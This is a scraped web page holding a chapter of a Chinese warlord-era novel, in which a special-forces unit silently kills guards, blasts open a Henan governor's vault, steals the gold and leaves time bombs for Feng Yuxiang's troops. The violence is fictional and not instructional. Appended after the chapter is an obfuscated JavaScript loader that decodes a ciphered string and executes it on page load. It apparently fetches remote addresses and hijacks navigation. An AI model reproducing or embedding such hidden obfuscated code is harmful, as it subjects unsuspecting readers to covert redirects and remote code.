首页
第148章 开封府的幽灵,在
返回
关灯 护眼:关 字号:小

第148章 开封府的幽灵,在冯玉祥眼皮底下搬家

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第148章开封府的幽灵,在冯玉祥眼皮底下搬家(第1/2页)
    7月15日,冯玉祥的第十一师,不愧是北洋军中打着基督将军旗号的虎狼之师。这支在西北苦寒之地练出来的军队,军纪严明,作风彪悍。仅仅用了不到一周的时间,冯部的主力就以摧枯拉朽之势,在郑州以东的中牟一带,将河南督军赵倜的毅军主力打得溃不成军。
    此时,冯玉祥的前锋部队——那支让人闻风丧胆的大刀队,已经逼近了开封城郊,隆隆的炮声震得开封古城的城墙直掉渣。
    开封府,这座曾经的北宋国都、如今的河南权力中心,陷入了前所未有的恐慌。
    城门紧闭,街面上到处都是丢盔弃甲的毅军散兵游勇。他们像没头苍蝇一样乱撞,有的甚至趁火打劫,砸开商铺的门抢夺食物和细软。老百姓们躲在家里,用粗木杠死死顶住大门,听着外面不时响起的冷枪声和女人的尖叫声,瑟瑟发抖。
    督军府内,更是乱成了一锅粥。
    “快!把这些箱子都搬到后院的汽车上去!快点!磨磨蹭蹭的,老子毙了你们!”
    赵倜的管家急得满头大汗,手里挥舞着马鞭,抽打着那些正在搬运沉重红木箱子的杂役。
    赵倜本人则穿着一身皱巴巴的便服,在一群亲兵的簇拥下,焦躁地在院子里走来走去。他那张原本肥胖的脸,因为这几天的惊吓和熬夜,硬生生地瘪下去了一圈,两眼通红。
    “督军,前线顶不住了!”
    一个满脸是血的团长连滚带爬地冲进大门,军帽都跑丢了,“冯玉祥的大刀队太邪门了!他们根本不怕死,光着膀子顶着咱们的机枪往前冲!东门那边已经开始交火了!再不走,咱们就被包饺子了!”
    “这帮废物!几万人打不过人家一万人?吃大烟抽断脊梁骨了吗?!”赵倜气急败坏地跺脚,“洛阳那边有消息吗?吴佩孚难道就眼睁睁看着冯玉祥吞了我的河南?”
    “督军,别指望吴大帅了!”管家哭丧着脸跑过来,“这仗本来就是他指使冯玉祥打的。咱们现在是四面楚歌啊!赶紧撤去归德吧,那边还有咱们的两个营,留得青山在,不怕没柴烧!”
    赵倜咬了咬牙,看着后院那几辆装得满满当当的卡车和马车,眼中闪过一丝极度的肉疼。
    这几车,只是他细软的一部分,真正的大头——那几十万块现大洋、成堆的金条和烟土,还在督军府地下的那座用钢筋水泥浇筑的秘密金库里。
    那些银元太重,车辆根本拉不走多少。而且现在兵荒马乱的,带着那么多笨重的现洋上路,简直就是给沿途的土匪送菜的活靶子。
    “管不了那么多了!命要紧!”
    赵倜一跺脚,下达了命令。
    “金库的门给我用那三把德国大锁锁死!等冯玉祥那穷鬼进城,看到那扇防盗门,他也只能干瞪眼!等风头过了,老子找吴大帅告了御状,再回来取!”
    “护卫队!跟我从北门突围!”
    随着赵倜的一声令下,这位盘踞河南多年的督军,带着他残存的亲信,在一片混乱中,像丧家之犬一样逃离了开封。
    他前脚刚走,督军府里剩下的那些杂役和丫鬟就开始四散奔逃,还有人顺手牵羊拿走了桌上的古董花瓶。
    硕大而奢华的督军府,很快就变得空空荡荡。
    只有后院那座假山下面、通往地下金库的铁门前,还站着一个排的毅军死忠,这是赵倜留下看守金库的最后力量。
    ……
    夜幕,在炮火的轰鸣声中悄然降临。
    开封城东门的交火越来越激烈,冯玉祥的部队已经开始组织登城了。
    而在城西,一片混乱的难民营附近,空气中弥漫着死老鼠和汗臭的味道。
    几个穿着破烂棉袄、脸上抹着黑灰的溃兵,正蹲在一个臭水沟旁,低声交谈着。
    “营长,探子传回信了。赵倜那老狗已经从北门溜了。”
    二狗子压低声音,对旁边那个块头最大的溃兵说道。
    这群人,正是李枭派来的特战营。
    虎子吐掉嘴里用来伪装的草根,一双眼睛在夜色中闪烁着兴奋的寒光。
    “溜得好啊。他把最难对付的卫队带走了,剩下的就是一群看家狗。师长算得真准,咱们去取款的时候到了!”
    虎子摸出一把擦得乌黑发亮的花机关冲锋枪,拉动枪栓,检查了一下弹匣。
    “弟兄们,都给我精神点!”
    周围那三百个看似虚弱的流民,瞬间变了气场。他们撕开破烂的外衣,露出了里面精干的黑色紧身作战服,每个人腰间都挂着手雷和匕首,背上背着空荡荡的特制厚帆布背包——那是准备用来装硬通货的。
    “咱们的时间不多。”
    虎子借着微弱的月光看了一眼腕表。
    “冯玉祥的人最迟再过一个时辰就能破城。咱们必须在他们进来之前,把督军府的地皮给刮干净!”
    “一组,跟我走正门,干掉外围的哨兵!”
    “二组,翻墙进后院,直奔假山!”
    “三组,去把城西车马行和警察局院子里的那十几辆大车、卡车给我抢过来,在后门接应!”
    “记住师长的话!快、准、狠!能不弄出动静就别弄出动静,不许恋战,拿了最值钱的就撤!”
    “是!”
    三百个黑影齐声低吼,如同水银泻地般融入了开封城漆黑的夜色中。
    ……
    深夜的开封城,除了东门的枪炮声,其他地方死一般的寂静。这种寂静中透着一股子绝望。
    督军府大门外。
    两个留守的毅军士兵正缩在石狮子后面抽烟,虽然督军跑了,但他们还没得到撤退的命令,只能硬着头皮守着。
    “哎,你说咱们会不会被冯玉祥的大刀队给砍了?”一个士兵哆嗦着问。
    “别瞎想,等东门一破,咱们立马扔了枪装老百姓……”
    另一个士兵的话还没说完,突然感觉脖子一凉。
    一条黑影不知何时已经像壁虎一样贴在了他的身后,一把锋利的军用匕首精准地割断了他的颈动脉,同时另一只手死死捂住了他的嘴。
    他连闷哼都没发出来,就软绵绵地倒了下去,鲜血顺着石狮子的底座流淌。
    另一个士兵刚想惊呼,黑暗中“嗖”的一声轻响。
    一支精钢打造的十字弩箭瞬间穿透了他的咽喉,将他死死地钉在了身后的红漆大门上。
    虎子从阴影中走出来,拔出匕首在死人身上擦了擦血,对着身后打了个手势。
    十几名特战队员像狸猫一样越过高墙,悄无声息地从里面打开了督军府沉重的大门。
    三百名幽灵,迅速接管了这座庞大的府邸。
    后院,假山前。
    赵倜留下的那个排的死忠,正端着枪,警惕地盯着四周。他们是赵倜的心腹,知道这假山下面藏着什么,所以丝毫不敢懈怠。
    突然,“噗!噗!噗!”
    几声极其轻微的、像是撕裂厚棉布一样的闷响在夜色中响起。
    这是特战营装备的简易消音器发出的声音。在东门嘈杂的背景炮声掩护下,这几声枪响根本引不起任何注意。
    站在最前面的三个毅军士兵,额头上瞬间爆出血花,仰面倒下。
    “有情况!开枪!”
    排长反应极快,刚要举起手里的驳壳枪。
    一颗拔了弦的特制手雷就骨碌碌地滚到了他的脚下。
    “轰!”
    一声沉闷的爆响,但这颗手雷并没有产生太多的破片,而是爆发出了一阵极其刺眼的强光和震耳欲聋的巨响。
    狭窄的后院里,十几个毅军士兵瞬间失去了听觉和视觉,捂着眼睛惨叫。
    还没等他们恢复过来,十几个黑衣人已经如饿狼扑食般冲了上来。
    匕首、刺刀、甚至是工兵铲,在近距离的无声肉搏中发挥了致命的作用。这些缺乏特种训练的旧军阀士兵,在李枭这群从尸山血海里爬出来的特种兵面前,就像是待宰的羔羊。
    不到两分钟。
    三十多个守卫全部被解决,假山前横七竖八地躺满了尸体。
    “营长!找到了!在这里!”
    二狗子拨开假山后面的一丛枯藤,露出了一扇厚重的铁门。
    铁门上挂着三把足有成年人拳头大小的黄铜挂锁,门框深深地嵌在钢筋水泥的墙壁里。
    “营长,这门太厚了,全钢的!砸不开也撬不开!”二狗子试着用铁棍别了一下,纹丝不动,“这是德国造的防盗门,赵倜这老东西防贼倒是有一手!”
    “撬不开就不撬!”
    虎子走过来,拍了拍那扇冰冷的铁门,嘴角露出一抹狞笑。
    虎子一招手,两个爆破手立刻上前。
    他们从背包里拿出一种像黄色面团一样的东西——这是用苦味酸提纯后混合塑化剂制成的塑性炸药。
    爆破手熟练地将这种面团成长条状,紧紧地填塞在铁门的合页和三把门锁的缝隙处。然后插上雷管,拉出一段极短的导火索。
    这种炸药最大的特点就是可以塑形,能够将爆炸的威力完美地集中在一点。
    “退后!都捂住耳朵张开嘴!”
    虎子拉着人退到假山后面。
    “嗤——”
    导火索燃烧。
    (本章未完,请点击下一页继续阅读)第148章开封府的幽灵,在冯玉祥眼皮底下搬家(第2/2页)
    “轰——咔嚓!”
    这声爆炸极其沉闷,威力却集中得出奇。没有漫天飞舞的破片,只有一股极其强悍的定向撕裂力。
    那三把看似坚不可摧的德国黄铜大锁,连同铁门的合页,被瞬间炸断、熔毁。厚重的铁门在一阵牙酸的金属扭曲声中,失去了支撑,轰隆一声向内倒塌,砸在地上激起一片灰尘。
    “进!”
    虎子打开军用手电筒,第一个冲进了黑暗的地下通道。
    顺着台阶往下走,一股阴冷的霉味混合着金属的气息扑面而来。
    当手电筒的光柱扫过金库内部时,即使是见惯了生死的特战队员们,也忍不住同时倒吸了一口凉气。
    “我滴个亲娘四舅奶奶啊……”
    二狗子张大了嘴巴,手电筒的光柱都在晃动。
    在这间足有半个篮球场大小的地下室里。
    靠墙的一排排木架子上,整整齐齐地码放着一箱箱的现大洋。有的箱子因为受潮破了,白花花的袁大头散落一地,在光柱下闪烁着迷人的银光。这简直就是一座银山。
    在另一侧,是十几个半米高的铁皮保险柜。虎子走过去,用枪托直接砸开一个没有锁紧的柜门。
    “哐当。”
    一片耀眼的金光刺痛了所有人的眼睛。
    金条!
    一根根十两重的大黄鱼,像板砖一样整整齐齐地码放在那里。粗略一扫,这一个柜子里至少就有上百根!
    这还不算完。
    金库的最深处,还堆放着几十个长条形的木箱。那是赵倜没来得及运走的烟土和一些古董字画。
    这赵倜,在河南刮地皮刮了这么多年,简直是把半个省的财富都藏在了这暗无天日的地窖里。
    “发财了……这回咱们第一师是真的发财了!”
    一个特战队员激动得浑身发抖,伸手就去抓地上的大洋。
    “啪!”
    虎子一巴掌拍在那队员的手上,眼神瞬间变得冷酷。
    “别他娘的没出息!”
    “忘了师长的规矩了?特战营出任务,不许私拿!这都是咱们第一师的军费!是给弟兄们造大炮、买飞机的钱!”
    虎子转过身,看着这满屋子的财富,深吸一口气,强迫自己冷静下来。
    “听我命令!”
    “大洋太重,卡车装不下那么多!先把所有的金条、金锭,给我装进背包里!”
    “每个人负重不能超过六十斤!只拿最值钱的!装满了就往外撤!”
    “剩下的时间,挑成色最好的现洋装袋!那些烟土和古董,太占地方,统统不要!”
    “快!动作快!冯玉祥的人随时会进城!”
    三百名特战队员立刻化身为最精密的搬运机器。
    没有欢呼,没有争抢。他们熟练地将一根根金条塞进特制的帆布包里。一箱箱的大洋被撬开,哗啦啦地倒进麻袋。
    不到二十分钟。
    金库里最核心、价值最高的黄金和一部分现洋,已经被这洗劫一空。
    “营长!三组发来信号,车在后门接应好了!”一个通讯兵跑下来报告。
    “撤!”
    虎子背着一个沉甸甸的背包,最后看了一眼那些还剩下大半的银元和笨重的物资。虽然心里有些滴血,但他知道,贪心会要命。在敌人的地盘上,速度就是生命。
    “等一下。”
    虎子走到金库的角落,从背包里掏出两个像饭盒一样的东西。
    那是定时炸弹。
    他把定时器拧到半个小时后,然后把炸弹塞进了两个装满银元的破箱子底下。
    “营长,你这是干啥?”二狗子不解。
    虎子冷笑一声,拍了拍手上的灰。
    “师长说了,冯玉祥是个穷鬼。他拼了老命打下开封,就是指望这笔钱发军饷呢。咱们把肉吃了,总得给他留点响声听听。”
    “这就叫来而不往非礼也。”
    ……
    就在虎子带人从督军府后门悄无声息地撤出,跳上那十几辆抢来的马车和卡车时。
    开封城的东门,终于被彻底攻破了。
    “杀啊!”
    无数打着火把、赤着上身、手里挥舞着大砍刀的士兵,像潮水一样涌入了开封城。
    这是冯玉祥引以为傲的十一师大刀队。
    这支军队确实与众不同,他们进城后并没有像毅军那样烧杀抢掠,而是在军官的严令下,直奔几个关键的战略目标。
    其中最重要的,自然是赵倜的督军府。
    半个小时后。
    冯玉祥穿着一身朴素的灰布军装,身形高大魁梧。他骑着马,在几名将领的簇拥下,来到了督军府大门前。
    看着虚掩的大门和死寂的院落,冯玉祥那浓浓的眉毛紧紧皱在了一起。
    “大帅,赵倜跑了!”一个旅长从里面跑出来汇报道,“咱们的先锋营已经搜查了全府,连个鬼影都没有。只在后院假山那里,发现了三十多具毅军留守士兵的尸体。”
    “尸体?怎么死的?”冯玉祥敏锐地察觉到了异常。
    “看伤口,全是一刀毙命。而且……假山下面的地下金库铁门被炸开了。”
    “金库!”
    冯玉祥脸色剧变,大步向后院走去。
    他是个穷军阀,他的兵吃的比叫花子好不了多少。他之所以愿意当吴佩孚的刀,这么拼命地打赵倜,就是指望着拿下开封,用赵倜的金库来给手底下的弟兄们发几个月的军饷,换几身新衣服!
    当冯玉祥一行人举着火把,满怀希望地走进地下金库时。
    看到的是一地狼藉。
    破烂的木箱,散落的少数大洋,还有被撬开的、空空如也的铁皮保险柜。
    这哪里是金库,这简直就是被狂风扫过的落叶堆。
    “这……这是怎么回事?”那个旅长傻眼了,“赵倜逃跑的时候,有时间把这么多金条都搬空吗?”
    “不是赵倜搬的。”
    冯玉祥蹲下身,在铁门附近捡起了一枚被踩扁的弹壳。
    那是一枚9毫米的手枪弹壳,但比普通手枪弹长,是冲锋枪专用的。这绝对不是毅军常用的汉阳造子弹。
    冯玉祥的眼神瞬间变得冰冷如刀,握着弹壳的手指因为用力而微微颤抖。
    “好手段……真是好手段啊!”
    “大帅,您是说有人捷足先登了?是谁?谁有这么大的胆子,敢在咱们十一师的眼皮子底下虎口拔牙?!”
    冯玉祥站起身,目光投向了西方,那是潼关的方向。
    “除了那个坐山观虎斗的李枭,这中原大地上,还能有谁?”
    “冲锋枪,消音暗杀,定向爆破……除了他李枭手底下那支神出鬼没的特务部队,谁还有这个本事?”
    冯玉祥咬牙切齿。他感觉自己就像是一个辛辛苦苦打猎的猎人,好不容易把野猪放倒了,结果却发现最肥的那块肉,被一只藏在树上的豹子给叼走了。
    “李枭!好一个李枭!”
    “你不仅抢了我的钱,还把老子当成了你免费的打手!”
    “轰——!!”
    “轰——!!”
    就在这时,虎子留下的那两颗定时炸弹突然爆炸。
    虽然威力不大,但在地下室这个封闭的空间里依然声势惊人。
    气浪夹杂着灰尘和几枚银元扑簌簌地落下,呛得冯玉祥等人连连咳嗽,狼狈不堪地退出了金库。
    这声爆炸,就像是李枭隔空留给冯玉祥的一个极具嘲讽意味的耳光。
    “大帅!这口气咱们不能咽!”那个旅长气得拔出大刀,“给我一个团,我这就去追!他们拉着那么多钱,肯定跑不快!”
    “追什么追!”
    冯玉祥阴沉着脸喝止了他。
    “他们敢来,就一定做好了接应的准备。你现在去追,那是去送死!”
    冯玉祥拍去军装上的灰土,看着西方漆黑的夜空。
    他知道,这个哑巴亏,他今天只能捏着鼻子咽下去。因为他的大军刚刚经历了一场恶战,疲惫不堪。而李枭的第一师,此刻正养精蓄锐地蹲在潼关,随时可以以逸待劳。
    “李枭……”
    冯玉祥念叨着这个名字,眼中闪烁着深深的忌惮和无法掩饰的愤怒。
    “这笔账,我冯玉祥记下了。”
    “总有一天,咱们会在战场上碰一碰的。到时候,我连本带利地讨回来!”
    ……
    而在几十里外的黄河滩上。
    一支没有任何灯光的车队,正在夜色中向着西边的潼关方向疾驰。
    虎子坐在第一辆卡车的副驾驶上,虽然车厢颠簸得厉害,但他紧紧地抱着那个装满了金条的背包,笑得像个得了糖果的孩子。
    “营长,这一票干得太值了!”二狗子在后座上喘着粗气,“这少说也有一百多万的真金白银啊!”
    “那是!”
    虎子回头看了一眼身后漆黑的原野。
    他知道,开封城里的那位基督将军,现在肯定气得在骂娘。
    但是,那又怎样?
    肉已经到了西北狼的嘴里,就没有吐出来的道理。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();